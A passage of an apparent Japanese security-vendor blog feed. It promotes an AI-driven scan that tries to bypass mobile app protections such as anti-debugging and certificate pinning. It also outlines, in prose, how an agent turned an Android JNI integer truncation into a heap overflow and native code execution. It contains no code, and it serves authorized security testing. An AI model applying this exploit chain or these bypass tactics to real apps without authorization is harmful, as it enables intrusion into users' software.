&lt;p&gt;モバイルアプリケーションの自己防御を検証することは、もはや単なる構造上のベストプラクティスではありません。世界各国の規制フレームワークは、厳しく規制される分野において、それを厳格な義務にしつつあります。検証されていない設定に頼ることは、組織をコンプライアンス違反の罰則にさらします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EU DORA（デジタル・オペレーショナル・レジリエンス法）：&lt;/strong&gt;このフレームワークは、金融機関に対し、ICTリスクの特定、保護、検出、対応、そして回復を求めています。欧州連合内で事業を行う銀行やその他の金融企業に適用されます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MAS TRMガイドライン（シンガポール）：&lt;/strong&gt;シンガポール金融管理局は、厳格なモバイルアプリの制御を明示的に求めています。これには、改ざん防止、アンチフッキング、コードの難読化、完全性チェック、証明書ピンニング、デバイスバインディングが含まれ、これらは一般的にRASP（実行時アプリケーション自己保護）やアプリシールディングのツールを通じて実装されます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCIモバイル／決済ガイダンスおよびPCI DSS 4.0：&lt;/strong&gt;更新された決済カード業界の標準は、組織に対し、決済アプリケーションにおける改ざん、リバースエンジニアリング、実行時攻撃、不正な変更を能動的に防止するよう促しています。RASPの検証は、これらの厳格な規制上の期待を満たす標準的な手段です。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="主な利点"&gt;&lt;strong&gt;主な利点&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自動化されたシールディング検出：&lt;/strong&gt;アプリケーションをスキャンし、セキュリティ機能が実際に存在するかを検証します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動化された悪用分析：&lt;/strong&gt;理論的なチェックリストを、それらの防御を破るための能動的な実行時攻撃のシミュレーションに置き換えます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実機での評価：&lt;/strong&gt;実際の物理端末にバイナリを配置して実行し、本物の実行時の挙動を観察します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的なリリース検証：&lt;/strong&gt;以前は専門家による手動の関与を必要としたプロセスを自動化し、あらゆるリリースでシールディングのチェックを可能にします。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;商用シールディングの監査：&lt;/strong&gt;サードパーティの商用シールディングベンダーが、支払った対価に見合う保護を提供しているかを検証します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;標準へのマッピング：&lt;/strong&gt;テストの検出結果を、認知された世界的なモバイルセキュリティ標準に直接対応付けます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="シールディング検出マトリクス:カバーされる保護とaiによる回避"&gt;&lt;strong&gt;シールディング検出マトリクス：カバーされる保護とAIによる回避&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Mobile Shielding Scanを設定すると、システムはAIアナリストを投入して能動的に回避を試みる前に、AndroidとiOSの両プラットフォームでシールディング検出を実行します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;検出されるシールディングの種類&lt;/th&gt;
&lt;th style="text-align: left;"&gt;その役割&lt;/th&gt;
&lt;th style="text-align: left;"&gt;AIによる回避手法の実行&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;改ざん防止／完全性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コードの改変、再パッケージ化、再署名を検知する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリ構造を改変し、アプリが実行をブロックするか、あるいは何も通知せず終了するかを監視する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;root＆ジェイルブレイク検知&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ローカルのアプリデータを露出させる、侵害された環境を特定する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;特権的な環境をシミュレートし、侵害されたOSレイヤー上でアプリが実行を拒否するかをテストする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アンチ計装／デバッグ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;シークレットの抽出や実行の改変を狙うライブフックに抵抗する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ライブのデバッガーとフックを注入し、AIが実行時のロジックを適応させて、能動的な検知ルーチンを無力化する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アンチクローニング／インストール元&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インストール元を検証し、不正な配布をブロックする。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公式アプリストア以外からパッケージをインストールし、サイドローディングへの防御を評価する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;コードとデータの難読化&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーションのロジックと埋め込まれたシークレットの可視性を評価する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コンパイルされたバイナリを解析し、動作上のコードが露出しているか、適切に隠されているかを判断する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ネットワーク保護（SSLピンニング）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;傍受された、あるいは不正なネットワーク接続を拒否する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;中間者攻撃を仕掛け、アプリが無効な証明書チェーンを拒否するかを確認する。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;静的解析が欲しいなら、標準的なスキャナーがあります。アプリケーションの防御が、能動的で適応的な敵に耐えられるかを確かめる深いシールディング検出が欲しいなら、Mobile Shielding Scanがよりスムーズな道です。&lt;/p&gt;
&lt;h2 id="aiによるシールディング検出・回避エンジンの仕組み"&gt;&lt;strong&gt;AIによるシールディング検出・回避エンジンの仕組み&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;保護が存在することを検出するのは簡単です。それを回避できるかどうかを証明することこそ、難しく価値のある部分です。Mobile Shielding Scanには、静的なコードを読むことにとどまらない、AIによる悪用能力が含まれています。&lt;br/&gt;
実行時テストのライフサイクルは、3つの異なるフェーズを通じて動作します。&lt;/p&gt;
&lt;h3 id="1. 環境の配置"&gt;&lt;strong&gt;1. 環境の配置&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;このスキャンは、実際のモバイルハードウェア上に、クリーンで管理された実行時環境をプロビジョニングします。アプリのバイナリをインストールし、初期化し、監視することで、パフォーマンス、メモリマッピング、ネットワーク呼び出しの挙動のベースラインを確立します。&lt;/p&gt;
&lt;h3 id="2. 適応的なシールディング検出と悪用のループ"&gt;&lt;strong&gt;2. 適応的なシールディング検出と悪用のループ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;AIアナリストがアプリケーションと対話し、各ステップでアプリがどう反応するかを観察します。静的なスクリプトを実行するのではなく、AIはライブの画面を見て、警告、クラッシュ、拒否を解釈します。アンチデバッグの防御が標準的なフックをブロックした場合、AIはその反応を解釈し、熟練した人間の攻撃者の判断力と粘り強さを再現しながら、アプローチを動的に適応させます。&lt;/p&gt;
&lt;h3 id="3. 具体的な検証"&gt;&lt;strong&gt;3. 具体的な検証&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;保護を破れる場合、このスキャンはそれが破られたことを実演し、回避の明確な証拠を提供します。防御が持ちこたえる場合は、その強度が検証され、チームはシールディングのレイヤーが圧力のもとで効果的に機能しているという確信を得られます。&lt;/p&gt;
&lt;h2 id="実行可能なセキュリティの成果物"&gt;&lt;strong&gt;実行可能なセキュリティの成果物&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Mobile Shielding Scanの結果は、Ostorlab Portal内で、明確で実行可能な形式で提供されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;強度の評価：&lt;/strong&gt;堅牢な防御と、脆弱で容易に回避される脆弱性とを切り分ける、明確な指標です。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;回避の証拠：&lt;/strong&gt;防御が破られた箇所の具体的なエビデンスであり、リスクをめぐる運用上の曖昧さを取り除きます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強度の確認：&lt;/strong&gt;成功した防御の検証であり、セキュリティへの投資が機能していることを裏付けます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;標準へのマッピング：&lt;/strong&gt;検出結果は、認知されたモバイルセキュリティのフレームワークに直接対応付けられます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この構造的な内訳は、モバイルエンジニアリングから当て推量を排除し、開発者が修復に必要とする正確な知見を提供します。&lt;/p&gt;
&lt;h2 id="mobile shielding scanの実行方法"&gt;&lt;strong&gt;Mobile Shielding Scanの実行方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;アプリケーションの防御の自動検証を開始するには、以下のステップバイステップのガイドに従ってください。&lt;/p&gt;
&lt;h3 id="ステップ1:アセットの接続とスキャンプロファイルの選択"&gt;&lt;strong&gt;ステップ1：アセットの接続とスキャンプロファイルの選択&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;Scanning&lt;/strong&gt; -&amp;gt; &lt;strong&gt;New Scan&lt;/strong&gt;を選択します。&lt;br/&gt;
2. 対象のアセットソースを選択します。&lt;strong&gt;PlayStore&lt;/strong&gt;／&lt;strong&gt;AppStore&lt;/strong&gt;からアプリケーションを直接検索して選択するか、コンパイル済みのバイナリ（&lt;strong&gt;APK/AAB/IPA&lt;/strong&gt;）をアップロードするか、&lt;strong&gt;TestFlight&lt;/strong&gt;を選択します。&lt;br/&gt;
3. スキャンプロファイルのオプションから&lt;strong&gt;Mobile Shielding Scan&lt;/strong&gt;を選択します。これにより、エンジンが専門的な静的・動的なハードニングのテストを実行するよう設定されます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャンプロファイル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-25_shielding_announcement/profile.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;4. &lt;strong&gt;Continue&lt;/strong&gt;をクリックします。&lt;/p&gt;
&lt;h3 id="ステップ2:aiプロバイダーとエフォートの設定"&gt;&lt;strong&gt;ステップ2：AIプロバイダーとエフォートの設定&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Mobile Shielding Scanはエージェント型のAI駆動のスキャンで、Ostorlabの&lt;strong&gt;Cybermodels&lt;/strong&gt;を使って実行することも、&lt;strong&gt;Bring Your Own Key（BYOK）&lt;/strong&gt;によって独自のAPIキーを使って実行することもできます。&lt;/p&gt;
&lt;p&gt;1. スキャンに使用したい&lt;strong&gt;AIプロバイダー&lt;/strong&gt;を選択します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="AIプロバイダー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-25_shielding_announcement/ai_provider.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;Cybermodels（トークンベース）&lt;/strong&gt;を選んだ場合は、アプリケーションの複雑さと規模に応じて、3つのプリセットされたエフォートレベルから選びます。  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core（200トークン）：&lt;/strong&gt;標準的なハードニングの指標を素早くベースライン検証します。 &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advanced（500トークン）：&lt;/strong&gt;中程度の実行カバレッジで、バイナリのレジリエンスを深く探索します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elite（1000トークン）：&lt;/strong&gt;大規模で協調的なリバースエンジニアリングの取り組みをシミュレートする、網羅的で高度に並列化された評価です。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="エフォート" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-25_shielding_announcement/effort.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bring Your Own Key（BYOK）&lt;/strong&gt;を選んだ場合は、プロファイルから設定済みのAIプロバイダーのキーを選択してスキャンを実行します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="BYOK" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-25_shielding_announcement/BYOK.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;3. &lt;strong&gt;Continue&lt;/strong&gt;をクリックします。&lt;/p&gt;
&lt;h3 id="ステップ3:プロンプトとテスト認証情報の追加(任意)"&gt;&lt;strong&gt;ステップ3：プロンプトとテスト認証情報の追加（任意）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. エージェントの対話を誘導するために、カスタムのUI自動化&lt;strong&gt;Prompts&lt;/strong&gt;を追加または選択します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャンのプロンプト" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-25_shielding_announcement/prompt.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;2. アプリケーションが認証を必要とする場合は、&lt;strong&gt;Test Credentials&lt;/strong&gt;を選択または作成します。これにより、エージェントがログインの関門を無事に通過し、認証後の状態でシールディングの制御をテストできるようになります。&lt;br/&gt;
3. &lt;strong&gt;Submit&lt;/strong&gt;をクリックして、スキャンをキューに入れて開始します。&lt;/p&gt;
&lt;h3 id="ステップ4:スキャン結果の確認"&gt;&lt;strong&gt;ステップ4：スキャン結果の確認&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;評価が完了すると、ダッシュボードにバイナリの防御態勢の包括的な概要が表示されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティハードニングスコア：&lt;/strong&gt;バイナリ保護の有効性を示す、全体のカバレッジスコア（0%から100%）です。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベクター分析：&lt;/strong&gt;難読化、改ざん防止、アンチデバッグについての、個別の合格／不合格の評価と詳細なカバレッジの統計です。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証済みのシールディング機能：&lt;/strong&gt;文字列の暗号化、コードの保護、ジェイルブレイク検知、完全性の検証など、無事に検証されたチェックの詳細な記録です。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャン結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-25_shielding_announcement/shielding_results.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="ミッションクリティカルなアプリのための統制された深さ"&gt;&lt;strong&gt;ミッションクリティカルなアプリのための統制された深さ&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Mobile Shielding Scanは、運用上のスピードを損なうことなく、より深いセキュリティの検証を必要とするチームのために設計されています。目指すのは無秩序な自動化ではなく、統制された深さ、すなわちより深い推論、境界が定められた実行、そしてセキュリティの明確な証拠です。&lt;br/&gt;
セキュリティチームは、このスキャンを次の目的に活用できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多層化されたモバイル防御の弱い部分を、攻撃者より先に見つける。  &lt;/li&gt;
&lt;li&gt;金融サービス、デジタルバンキング、決済のアプリケーションを、リバースエンジニアリングに対して検証する。  &lt;/li&gt;
&lt;li&gt;機微な患者データを扱う医療アプリケーションを、侵害された端末での実行から保護する。  &lt;/li&gt;
&lt;li&gt;ゲームやメディアのアプリケーションを、知的財産の窃取、コードの改ざん、クローニングに対してハードニングする。  &lt;/li&gt;
&lt;li&gt;厳しく規制されるモバイルのエンタープライズ展開の義務へのコンプライアンスを確保する。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは、開発チームには求める自動化された深さを、経営層には必要とする検証を与え、アプリがアプリストアに届く前にそれが安全かどうかを当て推量する理由を減らします。セキュリティと健全さの両方にとって、まれな勝利です。&lt;/p&gt;
&lt;h2 id="最初のmobile shielding scanを実行する"&gt;&lt;strong&gt;最初のMobile Shielding Scanを実行する&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Mobile Shielding Scanの機能は、Ostorlab Portalで利用可能になりました。実行時の防御を当て推量や根拠のない思い込みに委ねないでください。新しい&lt;a href="https://report.ostorlab.co/scan/new"&gt;&lt;strong&gt;Mobile Shielding Scanを実行しましょう。&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="Product"/><category term="Mobile Security"/><category term="Shielding scan"/><category term="AI powered"/></entry><entry><title>アプリは一度も開かれていなかった</title><link href="https://blog.ostorlab.co/ja/ostorlab-Agentic-Harness.html" rel="alternate"/><published>2026-06-25T09:02:00+02:00</published><updated>2026-06-25T09:02:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-06-25:/ja/ostorlab-Agentic-Harness.html</id><summary type="html">&lt;p&gt;エージェント型ハーネスは、モバイルアプリのセキュリティテストにおいて大規模言語モデル（LLM）にできることを変えます。モデル単体でも、安全でないストレージ、露出したシークレット、リスクのある権限、脆弱なSDK、バックエンドの問題、プライバシーの露出といった起こり得るリスクを挙げることはできますが、アプリそのものには一切触れていないかもしれません。適切なツール、コンテキスト、メモリ、プロンプト、実行ループ、実行時のフィードバックをモデルの周囲に備えることで、モデルはアプリパッケージを調べ、挙動を観察し、トラフィックを追跡し、シグナルを結び付け、セキュリティチームがレビューできるエビデンスを残せるようになります。権限の解析からGEFを活用したネイティブコードの悪用まで、その違いはトレースに表れます。レポートの体裁をしたテキストではなく、アプリのエビデンス、ツールの出力、実行時の実証、再現可能な手順が残るのです。&lt;/p&gt;</summary><content type="html">&lt;h2 id="実際のモバイルセキュリティテストにエージェント型ハーネスが欠かせなくなりつつある理由"&gt;実際のモバイルセキュリティテストにエージェント型ハーネスが欠かせなくなりつつある理由&lt;/h2&gt;
&lt;p&gt;言語モデルにモバイルアプリを渡し、セキュリティをテストするよう依頼してみてください。&lt;/p&gt;
&lt;p&gt;返ってくる答えは見覚えのあるものかもしれません。安全でないストレージ、脆弱な暗号、露出したシークレット、過剰な権限、脆弱なSDK、バックエンドの問題、認証の不備、プライバシーのリスクです。&lt;/p&gt;
&lt;p&gt;レポートのように構成されているかもしれません。適切なカテゴリに言及しているかもしれません。セキュリティチームがそのまま回覧できそうな内容に読めるかもしれません。&lt;/p&gt;
&lt;p&gt;それでも、アプリはまだ一度も開かれていません。&lt;/p&gt;
&lt;p&gt;パッケージは調べられていません。権限が実行時の挙動と照らし合わされたこともありません。SDKのトラフィックも観察されていません。ストレージの場所もレビューされていません。バックエンドへの呼び出しも追跡されていません。クラッシュ時の状態も取得されていません。エビデンスは何一つ受け渡されていません。&lt;/p&gt;
&lt;p&gt;レポートは存在しました。しかし、対象の状態は何も変わっていませんでした。&lt;/p&gt;
&lt;h2 id="手を持たない推論エンジン"&gt;手を持たない推論エンジン&lt;/h2&gt;
&lt;p&gt;セキュリティにおけるAIをめぐる議論の多くは、今もモデルから始まります。どのモデルが賢いか、どのモデルがより優れた推論をするか、どのモデルのコンテキストウィンドウが長いか、どのモデルがベンチマークで最高の成績を出すか、といった議論です。&lt;/p&gt;
&lt;p&gt;実際のセキュリティワークフローでは、モデルはシステムの一部にすぎません。&lt;/p&gt;
&lt;p&gt;素のモデルでも、指示を理解し、仮説を立て、攻撃経路を説明し、次に何をすべきかを判断することはできます。しかし、対象をテストするには、対象に実際に触れる必要があります。アプリを展開しなければなりません。権限をレビューしなければなりません。SDKを特定しなければなりません。ストレージを調べなければなりません。トラフィックを観察しなければなりません。認証フローをテストしなければなりません。バックエンドへの呼び出しを追跡しなければなりません。ノイズの多い手がかりは捨てなければなりません。そして、残った検出結果は、一段落の文章よりも確かなものによって裏付けられていなければなりません。&lt;/p&gt;
&lt;p&gt;モデルの周囲には、こうした手順を可能にするツール、コンテキスト、プロンプト、スキル、メモリ、実行ループ、フィードバックが配置されています。&lt;/p&gt;
&lt;h2 id="モデルがアプリに触れられるとき"&gt;モデルがアプリに触れられるとき&lt;/h2&gt;
&lt;p&gt;モデルは「機密データの保存」という言葉を見て、何を確認すべきかを説明できます。SharedPreferences、ローカルデータベース、キャッシュファイル、キーチェーンの使用、暗号化、ログです。言葉としては正しいのですが、アプリは依然としてブラックボックスのままです。&lt;/p&gt;
&lt;p&gt;ハーネスを備えたワークフローでは、アプリが展開されます。ストレージの場所が調べられます。設定ファイルが開かれます。実行時の挙動が観察されます。ある値はディスク上に現れるか、現れないかのどちらかです。懸念はエビデンスを得るか、消えていくかのどちらかです。&lt;/p&gt;
&lt;p&gt;SDKについても同じことが起こります。&lt;/p&gt;
&lt;p&gt;モデルは、サードパーティSDKがプライバシーの露出をもたらす可能性があると警告できます。その警告は聞き慣れたものなので、役に立つように聞こえます。しかし、SDKは特定されていません。その通信先は観察されていません。その権限は実際のトラフィックと比較されていません。ペイロードも一つとして調べられていません。&lt;/p&gt;
&lt;p&gt;すると、問いが変わります。もはや「これはリスクになり得るか」ではありません。問いは、何が存在し、何が実行され、何がアプリの外に出ていき、それにどのようなエビデンスが付いているのか、となります。&lt;/p&gt;
&lt;p&gt;Anthropicは、長時間稼働するエージェントの作業において同じパターンを示しています。モデルが単独で改善したわけではありません。プロンプト、ツール、コンテキスト管理、フィードバックループといった、モデルを取り巻くワークフローも変わったのです。OpenAIのハーネスエンジニアリングに関する記事も、エージェントを取り巻く同種の作業を指摘しています。受け入れ基準、検証、不足しているツール、ガードレール、ドキュメントです。&lt;/p&gt;
&lt;p&gt;これらの例はソフトウェアエンジニアリングに関するものです。モバイルセキュリティでは、同じパターンが成果物、実行環境、ツールの出力、そしてモデルが次に実行できるテストを中心に現れます。&lt;/p&gt;
&lt;p&gt;洗練された回答であっても、アプリには一切触れていないことがあり得ます。&lt;/p&gt;
&lt;h2 id="ツール箱はハーネスではない"&gt;ツール箱はハーネスではない&lt;/h2&gt;
&lt;p&gt;エージェント型セキュリティには、安易なやり方があります。モデルにツールの山を与え、それをエージェントと呼ぶのです。&lt;/p&gt;
&lt;p&gt;生の出力が大量にコンテキストへ流れ込みます。早い段階から多すぎるツールが使える状態になります。スキャナーの結果が十分な解釈を伴わずに届きます。弱いシグナルが自信に満ちた検出結果になります。疑わしい文字列がシークレットになります。権限がプライバシー侵害になります。見慣れないエンドポイントが悪用可能なバックエンドの問題になります。&lt;/p&gt;
&lt;p&gt;有用なハーネスは、もっと控えめです。モデルが最初に何を見るか、次のステップにどのツールが属するか、何を記憶すべきか、そして何かが検出結果になる前にどの程度のエビデンスが必要かを決めます。&lt;/p&gt;
&lt;p&gt;モバイルセキュリティでは、ほぼすべてのシグナルにそうしたコンテキストが必要です。権限があるからといって、自動的にプライバシーの問題になるわけではありません。サードパーティSDKが自動的に悪意あるものになるわけではありません。保存された値が自動的に機密情報になるわけではありません。疑わしいリクエストが自動的に悪用可能になるわけではありません。&lt;/p&gt;
&lt;h2 id="権限は検出結果ではない"&gt;権限は検出結果ではない&lt;/h2&gt;
&lt;p&gt;位置情報へのアクセスを例に取りましょう。&lt;/p&gt;
&lt;p&gt;モデルは、位置情報へのアクセスがなぜプライバシーリスクを生み得るのかを説明できます。それは有用な背景知識です。しかし、検出結果ではありません。&lt;/p&gt;
&lt;p&gt;権限は実行時に確認しなければなりません。SDKを特定しなければなりません。トラフィックを観察しなければなりません。通信先のドメインをレビューしなければなりません。ペイロードを調べなければなりません。アプリが宣言している目的と、アプリが実際に送信している内容を比較しなければなりません。&lt;/p&gt;
&lt;p&gt;そうして初めて、問いが意味を持つようになります。&lt;/p&gt;
&lt;p&gt;位置情報はいつ収集されるのか。どのコンポーネントが収集するのか。どこへ送られるのか。識別子と一緒に送信されるのか。分析SDK、広告SDK、バックエンドのエンドポイント、あるいはユーザーが実際に起動した機能のいずれに結び付いているのか。&lt;/p&gt;
&lt;p&gt;外から見ると、アプリは一つのまとまりに見えていました。調べていくと、それはコード、権限、SDK、ストレージ、トラフィック、バックエンドへの呼び出し、プラットフォームの挙動という層になっていきます。&lt;/p&gt;
&lt;p&gt;カテゴリは最初から見えていました。検出結果が現れるのは、エビデンスが動いた後だけです。&lt;/p&gt;
&lt;h2 id="gefがハーネスを具体的なものにする"&gt;GEFがハーネスを具体的なものにする&lt;/h2&gt;
&lt;p&gt;同じパターンは、ネイティブコードの悪用においてさらに分かりやすく見えます。&lt;/p&gt;
&lt;p&gt;汎用のLLMは手順を説明できます。ネイティブライブラリをリバースエンジニアリングし、安全でない算術演算を調べ、クラッシュのトリガーを作り、レジスタを確認し、プリミティブを洗練させる、という手順です。方法論が正しくても、対象には一切触れていないことがあり得ます。&lt;/p&gt;
&lt;p&gt;あるAndroid JNIのケースでは、モデルがGDBを基盤とするエクスプロイトツールであるGEFに接続されていました。&lt;/p&gt;
&lt;p&gt;エージェントはネイティブライブラリをリバースエンジニアリングし、画像サイズの計算において64ビットから32ビットへの整数の切り詰めを発見しました。切り詰められた値がヒープの割り当てサイズを決めていました。元の64ビットの値がコピーの長さを決めていました。&lt;/p&gt;
&lt;p&gt;割り当てはコピーよりも小さかったのです。&lt;/p&gt;
&lt;p&gt;入力が細工されました。クラッシュが再現されました。間接関数ポインターが、識別可能な64ビットのマーカーで上書きされました。そのマーカーがクラッシュ時の状態に現れました。&lt;/p&gt;
&lt;p&gt;このプリミティブは、攻撃者が制御する最初の引数を伴う、制御されたネイティブ関数呼び出しへと洗練されました。実行はAndroidのネイティブライブラリローダーへとリダイレクトされました。専用に作成された共有ライブラリが、アプリケーションのプロセス内で実行されました。&lt;/p&gt;
&lt;p&gt;ログには実行の記録が残りました。ライブラリの初期化ルーチンが実証用の成果物を作成しました。&lt;/p&gt;
&lt;p&gt;この経路は「ヒープオーバーフローの可能性」で止まりませんでした。計算、割り当て、クラッシュ、制御、呼び出しプリミティブ、ローダー、実行、実証と、対象の中を進んでいったのです。&lt;/p&gt;
&lt;p&gt;推論を提供したのはモデルです。その推論を実行中のプロセスに結び付けたままにしたのはGEFでした。&lt;/p&gt;
&lt;h2 id="作業はレビュー可能でなければならない"&gt;作業はレビュー可能でなければならない&lt;/h2&gt;
&lt;p&gt;エージェントが行動できるようになると、別の問いが生まれます。&lt;/p&gt;
&lt;p&gt;何を調べたのか。どのツールの出力が結論を変えたのか。どのようなエビデンスが収集されたのか。どのような前提が置かれたのか。調査はどこで止まったのか。&lt;/p&gt;
&lt;p&gt;攻撃的セキュリティやモバイルテストにおいて、検出結果が役に立つのは、システムがどのようにしてそこに到達したのかを誰かが理解できる場合だけです。エージェントが機密データの露出を報告するなら、レビュー担当者にはその経路が必要です。アプリの挙動、ストレージの場所またはリクエスト、ペイロード、影響を受けるデータ、そしてエビデンスと検出結果を結び付ける推論です。&lt;/p&gt;
&lt;p&gt;エージェントが何かを報告しないと判断した場合も、その判断には経路が必要です。権限は宣言されていたものの一度も使われていなかったのかもしれません。SDKは存在していたものの動作していなかったのかもしれません。エンドポイントは見慣れないものだったものの、機密性の高い挙動を露出させてはいなかったのかもしれません。&lt;/p&gt;
&lt;p&gt;悪用についても同じです。エージェントがコード実行を主張するなら、レビュー担当者に「悪用に成功した」という一文だけが残されるべきではありません。脆弱な計算から実行時の実証に至るまで、エビデンスの連鎖が見えている必要があります。&lt;/p&gt;
&lt;p&gt;そうした可視性がなければ、出力を擁護することは難しくなります。正しいかもしれませんが、チームには追跡できる記録がありません。間違っているかもしれませんが、それでも説得力があるように見えるほど流暢な形で届くかもしれません。&lt;/p&gt;
&lt;p&gt;ハーネスは、何が起きたかを記録します。権限、ツールの境界、承認ポイント、エビデンスのログ、再現可能な手順、そして停止条件です。&lt;/p&gt;
&lt;p&gt;調査するのはエージェントです。それでもチームには、その調査が見えている必要があります。&lt;/p&gt;
&lt;h2 id="レポートの体裁をしたテキストから、擁護できるテストへ"&gt;レポートの体裁をしたテキストから、擁護できるテストへ&lt;/h2&gt;
&lt;p&gt;モデルはもはや、確認すべき項目を列挙するだけではありません。アプリのエビデンス、ツールの出力、実行時の挙動、トラフィック、依存関係のシグナル、悪用のトレース、再現可能な手順を順に処理していきます。一つのステップの結果が、次のステップを変えます。&lt;/p&gt;
&lt;p&gt;出力の形も変わります。より整ったチェックリストの代わりに、対象を貫く経路があります。もっともらしい段落の代わりに、レビュー担当者が調べられる成果物があります。「これはリスクになり得る」の代わりに、異議を唱えることのできる連鎖があります。&lt;/p&gt;
&lt;p&gt;セキュリティチームは成果物を開くことができます。トレースを追うことができます。手順を再現できます。実行時の実証を調べられます。&lt;/p&gt;
&lt;p&gt;ペンテスターのように語るモデルではありません。&lt;/p&gt;
